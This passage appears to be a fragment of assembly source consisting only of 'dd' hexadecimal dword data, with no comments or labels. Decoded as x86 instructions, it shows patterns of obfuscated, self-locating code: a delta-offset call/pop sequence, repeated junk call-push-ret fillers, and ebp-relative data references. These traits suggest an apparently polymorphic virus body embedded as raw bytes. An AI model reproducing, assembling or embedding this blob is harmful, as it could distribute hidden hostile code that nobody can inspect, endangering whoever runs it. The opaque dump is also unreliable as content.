0C3EA2DA1h dd 2879A163h, 1BD8BC2h, 5F064D12h, 29B995FFh, 0BD83064Dh dd 64D1505h, 4E840F02h, 0E8000000h, 13h, 3326C5Fh, 74C2375Dh dd 0A47139A3h, 93B0739Ah, 0E92E0493h, 8, 337B3676h, 7C1DA9EAh dd 0A9858B5Bh, 6A064D15h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 0F5A9C353h, 8B0000C6h dd 1185C7FAh, 64D21h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 1CF0C356h, 73E162EFh dd 0C5384C41h, 0FFF45EE9h, 3DE381FFh, 8B620270h, 0DEBF0FC1h dd 735858Dh, 6A064Dh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 170424h, 57470000h, 73DD24C3h, 39BD097Dh, 50064D29h dd 6A240489h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 4703C353h, 0B37EB792h, 6A006A7Dh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 0F31AC352h, 0D381A906h, 1FA6DF0Ah, 0DE8B006Ah dd 0CE9h, 83A65B00h, 0F65802E6h, 0D4284B13h, 57858D1Ch dd 6A0651A6h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 9A57C357h, 1C2B3264h, 83DEB70Fh dd 6A05C0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 72D65AC3h, 90DD795Ch, 0E4BB6657h, 0E8505F3Eh dd 10h, 0DEF0F7C5h, 54B4255Ch, 802B67Eh, 0F8CDB179h, 2870Fh dd 5F500000h, 6A905Fh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 1524EBC3h, 3B12C076h, 6A006AF7h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 99FFC355h, 0D2D984F2h, 0BD2923F0h, 64D0601h dd 95FF006Ah, 64D1149h, 0BB1B531h, 8D8D064Dh, 6509A13h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0EEC35141h dd 45236EF5h, 0A9CA9F6Dh, 18589BDh, 0FF064D27h, 0ADBD33D1h dd 83064D2Fh, 4D1281BDh, 850F0106h, 71h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 16h, 54C35040h, 858982C6h dd 64D1B31h, 8B0F026Ah, 8, 0A19D3357h, 5F064D27h, 0BE950h dd 0B1170000h, 69FCA4A3h, 0C56BF2F6h, 24048957h, 243195FFh dd 6A064Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 890396C3h, 4D2665B5h, 0D79E906h, 0E80000h dd 5D000000h, 0A661ED81h, 6A0651h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 36EA7EC3h, 604EB487h dd 1ABFEBE7h, 663EE004h, 8DDD0DBBh, 508A5785h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 0FE932D80h, 0F4AB8C49h, 13E9A5h, 0DEA10000h, 2A0EF7C3h dd 0F7A1B970h, 49C9222Ch, 0C01C33D5h, 71BB6638h, 8B605045h dd 13BE66D9h, 489611Eh, 9D950124h, 64064D31h, 35FFh, 0F600000h dd 482h, 0F2BE6600h, 0B9958BBDh, 61064D26h, 258964h, 1000000h dd 4D03ADBDh, 1585FF06h, 8B064D18h, 8DCF80D9h, 810FFF6Ah dd 15h, 9E8h, 0ACB75000h, 8107072Dh, 0BD037B81h, 64D2E31h dd 3DB5FF5Fh, 6A064D0Fh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 32CC353h, 4D0A45BDh dd 1195FF06h, 0E9064D04h, 0F7h, 71F0DABFh, 2850F28h, 8A000000h dd 0BB00B0D9h, 55AAA51Dh, 0E66AC380h, 9E970h, 9C4D0000h dd 61C232C5h, 0E4E85B81h, 158D3171h, 3C064D1Eh, 0C0830F61h dd 0F000000h, 0B60FF9BFh, 41BD8BC8h, 0BA064D25h, 6, 0C18BFE8Bh dd 30799D8Bh, 0E8C1064Dh, 0E5BF6604h, 53BF66C7h, 0E2F7669Dh dd 0FC9BD89h, 0C82B064Dh, 2FBDB509h, 0D18B064Dh, 5E9h dd 14BB6600h, 858BF8E6h, 64D3035h, 2E25BD89h, 0C083064Dh dd 0C08307h, 0FD03BF8h, 1583h, 5E900h, 0BCC10000h, 0E9BA8B0Dh dd 53h, 2F2DB589h, 8D8B064Dh, 64D2495h, 5840FFCh, 0BF000000h dd 65F7DC4Ah, 0F01E183h, 3284h, 8D9D8900h, 83064D17h, 4D2495A5h dd 89F9FE06h, 4D303595h, 11E906h, 11ED0000h, 0F1E185Bh dd 0DD3A83DAh, 0D90494B9h, 668C0252h, 0E9FE8Bh, 8D000000h dd 5119B6B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1A04h, 0C3534300h, 1F313A1Fh, 29BD5E51h, 4D0AD995h dd 0FA8B6606h, 6AFA8B66h, 0EB816600h, 95FF08D9h, 64D0511h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 51C35343h dd 0E9B68D7h, 657914C6h, 759B589h, 0FA8B064Dh, 895B9h dd 0E2BF6600h, 0FCE18354h, 2409BD31h, 6AFC064Dh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 0C3F0C350h, 880F53A1h, 6, 181D9D8Bh, 0B85F064Dh, 0 dd 30A1BD8Bh, 0D22B064Dh, 143044BFh, 0C233AD15h, 0D003E8D1h dd 7504E983h, 52006AF4h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1A04h, 0C3524200h, 0D08E3F94h, 6676EF70h, 0FDD4E781h dd 0DFBF0FF9h, 880Dh, 3294BF00h, 958B357Fh, 64D0599h, 11819D01h dd 8D8B064Dh, 64D051Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ah, 7DC35545h, 2EC73172h, 8B528A45h, 4D30C59Dh dd 8B505B06h, 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h dd 0D84AC381h, 6A0357h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1A0424h, 51410000h, 813C2EC3h, 2A8864E8h, 66FBBF0Fh dd 0BD83F88Bh, 64D1C45h, 4A840F00h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 0ADFEC356h, 41C2D223h, 5850Fh, 0D8BB0000h, 0B8087360h dd 0 dd 6E8h, 0F07BFD00h, 80000B12h, 0FC5BD8F7h, 4DE58D8Dh dd 0E1FF064Dh, 0E9BD83F5h, 64D02h, 4AD840Fh, 0B5890000h dd 64D2A2Dh, 2E9BD83h, 0F01064Dh, 4B584h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 0D3813997h, 7F282189h, 60BDF381h, 0BD837E49h, 64D02E9h dd 49860F03h, 66000004h, 60B55DBFh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ah, 1AC35040h, 0E32F099Ah, 9D2B6823h dd 64D008Dh, 81D98C66h, 8F982DC7h, 4E1806Ah, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0ECC35242h, 0A19DF547h dd 0F49B7EB3h, 205DBD8Bh, 8E9064Dh, 74000000h, 7C052862h dd 0A35BB89h, 44840FC9h, 6A000001h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0BCFCC351h dd 0FC4CC5BEh, 9D2B3171h, 64D143Dh, 1B019D8Bh, 858B064Dh dd 64D1879h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 17h, 0AEC35040h, 33755002h, 4D06FDBDh, 39853306h, 8B064D06h dd 8A0F90FEh, 19h, 14E9h, 0C421B600h, 0CEE992D9h, 0A121DD32h dd 3EBE470Fh, 89B72380h, 6A90501Ch, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0B947C351h dd 0E9B1417Eh, 14h, 0CF3F5BEEh, 2182C3BBh, 413ACF58h, 3CE4AA55h dd 0B3EC8497h, 9D33006Ah, 64D2C89h, 98276468h, 12E9CEh dd 408F0000h, 3E03A5A3h, 0B6E9EAF3h, 90EEF2CBh, 251F2509h dd 9B240481h, 0FF3186DCh, 4D0EB195h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 0FEFBF5Dh dd 81668525h, 8979F6C7h, 50B79585h, 0D9BD8906h, 0E9064D31h dd 1FBh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 17h, 36C35343h, 8BC1EB80h, 50B78D85h, 61BD0306h, 0C7064D11h dd 1800h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1B04h, 0C3514100h, 60862A2Ch, 3F4F01AFh, 0B791B58Bh dd 6A0650h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h dd 56460000h, 785661C3h, 1BD89B6h, 89064D0Bh, 4D2685B5h dd 0E5858B06h, 6A064D32h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 0BFA6C356h, 254DA068h dd 8B8DBF66h, 8BFC0689h, 4D187985h, 4468906h, 2D818589h dd 5096064Dh, 0FFA8B52h, 8A525031h, 50310FFAh, 5A310F52h dd 5A585A58h, 56605058h, 0F576B866h, 6A966158h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 0FDFFC351h, 0DFEF0F59h, 8D0FEB35h, 9, 38F0Fh, 0B70F0000h dd 8DB5FFF9h, 6A0650B7h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 8C98C355h, 65169DC8h dd 6E827BFh, 75000000h, 0E1FB36F6h, 7DBD8B0Ah, 5B064D24h dd 692AD381h, 85681569h, 0F832DAFh, 48Dh, 0C8BB6600h, 24048110h dd 7CF1547Ah, 26199D89h, 858D064Dh, 650B795h, 4F99D0Bh dd 6650064Dh, 489FB8Bh, 50006A24h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 0E9E380FEh, 8, 8350E0D8h dd 0A1A9E6E8h, 10E9h, 0E5493900h, 0F598E6A9h, 1A17C968h dd 0BFE8F2F5h, 0B195FFC0h, 6A064D0Eh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0E9E0C357h dd 0Fh, 8E87E0C5h, 99C87868h, 0F12EFB45h, 6187ABFDh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 8AC35747h, 1B519D23h dd 85C7064Dh, 64D02E9h, 3, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 36C35545h, 96BDAD08h, 57CF358Bh, 2A1D8501h dd 835B064Dh, 50B795BDh, 840F0006h, 4Ch, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 14h, 3DC35646h, 46E9h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 2417C33Eh, 68E0Fh, 9D2B0000h, 64D241Dh dd 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 0B455C350h, 0BD335656h, 64D0ECDh, 6A5B5Fh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 150069C3h, 0C96785FAh, 0DF8B9744h, 2E9BD83h, 0F03064Dh dd 41285h, 0CE800h, 57B00000h, 442F54B3h, 0F1EF81ADh, 5BF59ACCh dd 31A18589h, 0BD83064Dh, 650B795h, 0EC840F00h, 6A000003h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h dd 42000000h, 927AC352h, 8B66380Ch, 0C19589DFh, 0FF064D2Fh dd 50B795B5h, 598D8906h, 0FF064D1Fh, 4D2D9995h, 7BB6606h dd 89B58BF5h, 6A0650B7h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 61F9C356h, 0DFA8BACEh dd 106C7h, 6A0001h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 512B1DC3h, 870F7632h, 0Ch, 6850Fh dd 0B5010000h, 64D3279h, 0BE996h, 22590000h, 0C772834h dd 7B6012EFh, 4FBB5035h, 96388C4Bh, 6E58589h, 0BB66064Dh dd 0B5FF2242h, 650B795h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 15h, 3BC35343h, 8D95FF70h, 66064D30h, 8BC957BBh dd 50B789B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1D04h, 0C3554500h, 0FDA53D54h, 5C4B77h, 8B66744Eh, 85858BD8h dd 89064D23h, 0C486h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1604h, 0C3514100h, 8BBED1DDh, 4D319D9Dh dd 99958B06h, 6A064D05h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 0C94DC355h, 4D2EDF82h dd 2DDA59EEh, 6A04C283h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 39F9C356h, 0E7143FFh dd 0EF81487Ch, 4E7D3C1Dh, 0F205089h, 68Ch, 1858900h, 8D064D0Ch dd 50CBF085h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1604h, 0C3534300h, 819F0C07h, 0F62A08E3h, 3880F6Fh dd 66000000h, 8689FB8Bh, 0B8h, 5A06BB66h, 6A006Ah, 3E850h dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 8DB139C3h, 0C23803DFh, 95B5FF1Fh, 890650B7h, 4D04F995h dd 3195FF06h, 6A064D24h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 25F3C352h, 1211BD8Bh dd 8B50064Dh, 243489DEh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 0E9C35545h, 0BD8B07D6h, 64D241Dh, 0B795B5FFh dd 6A0650h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 457ED5C3h, 6F2C925Ah, 1521BD8Bh, 5ABF064Dh dd 0FF5AAA7Eh, 4D2CC195h, 0A5BD8B06h, 83064D30h, 4D32A5BDh dd 840F0006h, 66h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 0A3C35040h, 5B7F58F1h, 8BF9737Eh, 4D1B059Dh dd 8B669606h, 525050FBh, 0F57310Fh, 8Dh, 585A5B00h, 52006A96h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 0D9FA71B7h, 67F2BAB8h, 0BB667BBCh, 0B5FF7F27h, 650B795h dd 2B359DBBh, 0C595FF0Dh, 6A064D17h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 9257C352h dd 0F88B4DE7h, 0B795B5FFh, 6A0650h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0B29190C3h dd 27CD9D89h, 95FF064Dh, 64D29B9h, 0BD83D9B7h, 64D1505h dd 48840F02h, 0E9000000h, 0Ah, 0D84E62Dh, 816DFF43h, 858B18AFh dd 64D15A9h, 6A0000C6h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 4032C355h, 8166352Ch dd 0F0CE8C7h, 683h, 71BD8B00h, 0C7064D26h, 4D211185h, 6 dd 6DF8100h, 0E9021EDAh, 0FFFFF384h, 58C0Fh, 1CBB0000h dd 8B2C670Eh, 55006AC1h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1B04h, 0C3554500h, 0F4534AC7h, 90DF648Dh, 27F98529h dd 49BF064Dh, 8D3BB335h, 4D073585h, 0BDBD8906h, 50064D22h dd 8A240489h, 6A006ADCh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 0D390C350h, 0EEBB66EBh dd 6A006A5Ch, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 4B61C351h, 0BFDB8196h, 8D550BD2h dd 51B5E085h, 949ABF06h, 81667132h, 83A9A4D3h, 8D8905C0h dd 64D332Dh, 6E950h, 0AF2E0000h, 3AB6E6AFh, 0E9240489h dd 11h, 94039B8Bh, 0FB5A44D6h, 15393F35h, 158BB6A9h, 0EB816653h dd 6AA571h, 1880Fh, 29F90000h, 4D0DC985h, 6A006A06h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 0E265C351h, 958193BEh, 5260FE12h, 1FC99D8Bh, 0E85B064Dh dd 6, 0A14C98D7h, 615EAACCh, 114995FFh, 8F0F064Dh, 1Eh dd 188F0Fh, 12E80000h, 0AE000000h, 0BB311E82h, 0B787FF5Dh dd 18F3D4DDh, 0CC2DF46h, 8D8D5F48h, 6509A13h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 99C35040h, 492FCFF3h dd 0AC3008C3h, 986CE381h, 0D1FF4664h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 15h, 0E7C35242h, 81BD833Eh, 1064D12h dd 9C850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 0E518A8C3h, 40EEA232h, 66268708h dd 495CEB81h, 6A026Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 5A596EC3h, 3D2D32FEh, 69958944h dd 66064D0Ah, 90C9F1BBh, 0BB665250h, 310FFE4Ah, 10E85250h dd 5F000000h, 31D63B53h, 33868F63h, 5AE1AB87h, 5F42B736h dd 6160310Fh, 585A585Ah, 9D2B9050h, 64D0519h, 243195FFh dd 7E9064Dh, 13000000h, 0A79DCB87h, 3EE96D39h, 0E800000Eh dd 0 dd 0EAED815Dh, 890651B5h, 4D064995h, 0FDBD8906h, 8D064D1Fh dd 508A5785h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1D04h, 0C3504000h, 9B134694h, 0B9772B0Bh, 1CB3C2CEh dd 8AD8BB50h, 4897AF7h, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1604h, 0C3524200h, 16C1F56h, 4D0D0D9Dh, 99BD8B06h dd 64064D1Ah, 35FFh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 88F2D5C3h, 8E0FF798h dd 0Ah, 5E9h, 2A994700h, 8964A541h, 25h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 3023EB6Ah, 0CB2266B1h, 7ACB812Eh, 0FF7A353Ah, 4D181585h dd 8880F06h, 52000000h, 8D0Fh, 815B0000h, 77F0ACF7h, 8BFF6A63h dd 4D2DB59Dh, 8DB5FF06h, 8B064D2Fh, 4D12F9BDh, 1195FF06h dd 0E9064D04h, 13Dh, 0CE9h, 798B800h, 0B5CB7F48h, 0D7E21451h dd 0E800B083h, 14h, 0A6A8CB54h, 0A919802h, 0CC21EE45h dd 71CE262Ah, 35D3FAD3h, 2370E65Bh, 4D2EA59Dh, 971E406h dd 4D1B95BDh, 0F613C06h, 0F883h, 0C8B60F00h, 0A49BD09h dd 0BB66064Dh, 6BA61ADh, 53000000h, 641B531h, 8B5B064Dh dd 7DB1BFC1h, 0E8C12E38h, 81666004h, 61E9D6EEh, 0E9E2F766h dd 7, 442DA3C8h, 2BC30CABh, 3CB860C8h, 0B263D243h, 0D18B61F9h dd 2CDDBD29h, 0A6E9064Dh, 0E8000000h, 10h, 0A5A197CFh dd 0D331A6A9h, 0B7A77BBAh, 0BEC7C1FDh, 14519D8Bh, 8B5F064Dh dd 885h, 0FB8B6600h, 21159589h, 0C083064Dh, 8EEF8107h dd 83413F2Fh, 9D8B00C0h, 64D2531h, 830FD03Bh, 1Bh, 30A5BD89h dd 56E9064Dh, 0E8000000h, 6, 8E8C9684h, 0BF660867h, 8B5B34B8h dd 0FFFFFF8Dh, 2BCB81FFh, 83369AE8h, 840F01E1h, 31h, 6E9h dd 71D3B600h, 836F513Eh, 0FFFFFFA5h, 0BF66FEFFh, 95893DFFh dd 8, 0BE9h, 1AD93C00h, 0A9A81467h, 1EA16E23h, 0E9h, 0E7B58D00h dd 6A065133h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1C042444h, 40000000h, 0A3F6C350h, 0E0F73543h, 0F554AF9h dd 6AFAB7h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ah, 0D7C35040h, 40F21D0Fh, 10E9EFECh, 75000000h, 8092A6B8h dd 0B6AA8F37h, 507D1E96h, 0FF41F6C6h, 4D051195h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 0DC7EBA2Ch, 7EC701F7h, 2ABB2747h, 0B94273A4h, 0EE3h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 1EC35747h dd 0A5746C49h, 10336CEh, 0E18322B3h, 0F58589FCh, 0FC064D31h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0CCC35040h dd 84CBD04Fh, 0DF81D6D0h, 4F28555Ah, 0B8h, 48B0F00h, 66000000h dd 0BAB5EBBFh, 0 dd 5C1993BFh, 0C233AD1Ah, 0D003E8D1h, 7504E983h, 56006AF4h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 6C192322h, 82DB8124h, 8B008084h, 4D14B99Dh, 880D06h dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 324FDEC3h, 8AE92C54h, 99958BD9h, 8B064D05h dd 4D246D9Dh, 0FE906h, 600A0000h, 0FAA4D1C3h, 545A0F9Eh dd 0CC6565B4h, 1D8D8BAEh, 6A064D05h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0DAAAC357h dd 44252CD0h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h dd 0C2BB5818h, 6A639F74h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 34EAC355h, 94379F90h dd 0FC17998Ah, 0BD8354B7h, 64D1C45h, 8B840F00h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 8973C351h, 4D142185h, 599D8B06h, 0B8064D1Fh dd 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 78C35141h dd 2357A08Dh, 0E59D897Ch, 8D064D23h, 4D4DE58Dh, 0E5BD8B06h dd 0FF064D11h, 57006AE1h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1804h, 0C3574700h, 7B3D7AA2h, 0AEDB8030h dd 496EC781h, 0BD832150h, 64D02E9h, 8D840F00h, 6A000004h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 0EDA1C352h, 5D0C4D34h, 0BD83231Ah, 64D02E9h dd 78840F01h, 60000004h, 0EFDA8166h, 0F28B6652h, 0E9BD8361h dd 3064D02h, 42B860Fh, 95890000h, 64D0DF9h, 53006A60h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 511DFC18h, 74DF284Ch, 0D3DBD8Bh, 8C66064Dh, 50006AD9h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 9705A73h, 3D8531C5h, 80064D14h, 6A04E1h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 26003C3h dd 0FA95C02h, 0F98B66BFh, 88A0Fh, 89520000h, 4D0DB5BDh dd 0C90A5F06h, 115840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 912059C3h, 0AEE932E2h dd 11E8h, 97957400h, 45070B67h, 4EC6D899h, 0A90D9E2h, 0BF66091Eh dd 0E85F4927h, 9, 52FDCEFAh, 1859CC3Eh, 0BE9BCh, 13310000h dd 0D62B1CCCh, 874C36A1h, 8B665FFAh, 79858BDFh, 0FC064D18h dd 6398533h, 8D89064Dh, 64D1295h, 5E990h, 279A0000h, 503D1A8Fh dd 0BF90F88Bh, 66FB33Fh, 6A006Ah, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 0B4655DC3h, 0F2876814h dd 0CCBB3ED7h, 810AE9B2h, 0F1782434h, 85013EC8h, 64D3311h dd 29659D8Bh, 95FF064Dh, 64D0EB1h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 0B7C35747h, 3E3EB4h, 0E1B352D0h dd 1EE1B589h, 0DB81064Dh, 5572E381h, 0B7958589h, 15E90650h dd 0E9000002h, 0Bh, 5EBC9CEEh, 0BB5662A2h, 8BFCCA38h, 50B78D85h dd 0DB816606h, 0C76049h, 18h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 9BC35242h, 8C8BBFD9h, 5E8EDh dd 0E27D0000h, 8BCE43E6h, 4D060D9Dh, 800F5B06h, 6, 217DB589h dd 0B70F064Dh, 91B58BDFh, 6A0650B7h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0DAC7C352h dd 0F88B06CBh, 32E5858Bh, 0B70F064Dh, 0F0689FFh, 588h dd 0C3816600h, 0BE96097h, 0AB000000h, 6BB97AE6h, 7E41753Ah dd 858BB119h, 64D1879h, 9E9h, 59327200h, 17FA4F96h, 10E98715h dd 88000000h, 41B2DCCBh, 6A9B441Dh, 0A652B552h, 8955F054h dd 6A0446h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 0A966F6C3h, 0BBEFB521h, 0A7DBA40h, 0FE95096h dd 8F000000h, 0D1B7DBA7h, 7BB96A50h, 277EA77Ch, 6A968353h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h dd 42000000h, 0C3E5C352h, 0B5FF0884h, 650B78Dh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0D4C35646h, 35BE999h dd 4D21159Dh, 4E806h, 3FF0000h, 0DD8A001Fh, 24448B50h dd 0BF008B04h, 5CCD59A9h, 4244489h, 6A58FB8Bh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 0CB97C357h, 0CE9A618Dh, 0BB66145Dh, 858DAB8Dh, 650B795h dd 381BD2Bh, 0F50064Dh, 48Fh, 5B515000h, 2404895Bh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 46C35242h, 0E2E73112h dd 9AECFDB8h, 0B195FF6Bh, 6A064D0Eh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0F58DC355h dd 51D85A4Bh, 9D23F88Bh, 64D2825h, 0E985C761h, 3064D02h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 7480C355h, 7024A8E9h, 0CF684BD3h dd 26719D89h, 0BD83064Dh, 650B795h, 36840F00h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 79D0C357h, 0D19842A9h, 2E05A293h, 0F9858952h dd 5B064D0Ah, 1FE9h, 0ABF6600h, 0C305094h, 11440011h, 10E8C101h dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 0F57F98Bh, 682h, 890F00h, 5F000000h dd 2E9BD83h, 0F03064Dh, 44585h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 0C2D9B9Dh dd 17167FBDh, 0FE8F5h, 5CBC0000h, 854FA703h, 21CCA67Ah dd 1F69C782h, 11B52919h, 5B064D33h, 0B795BD83h, 0F000650h dd 3F984h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 0EF816638h, 0CE952DDh, 0CE000000h dd 5F3D36E0h, 0D9CCBE65h, 0FFBAB54Ah, 50B795B5h, 81BD8B06h dd 0FF064D30h, 4D2D9995h, 31958906h, 8B064D30h, 50B789B5h dd 958B6006h, 64D324Dh, 11019D23h, 0C761064Dh, 1000106h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 6DDB354Fh, 4DB0EDA5h, 5125BF66h, 8D0F50h dd 89000000h, 6A2434h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 826738C3h, 1FB3E05Dh, 0B795B5FFh dd 95FF0650h, 64D308Dh, 11A5B589h, 0B58B064Dh, 650B789h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 5DC35646h dd 45BB115Eh, 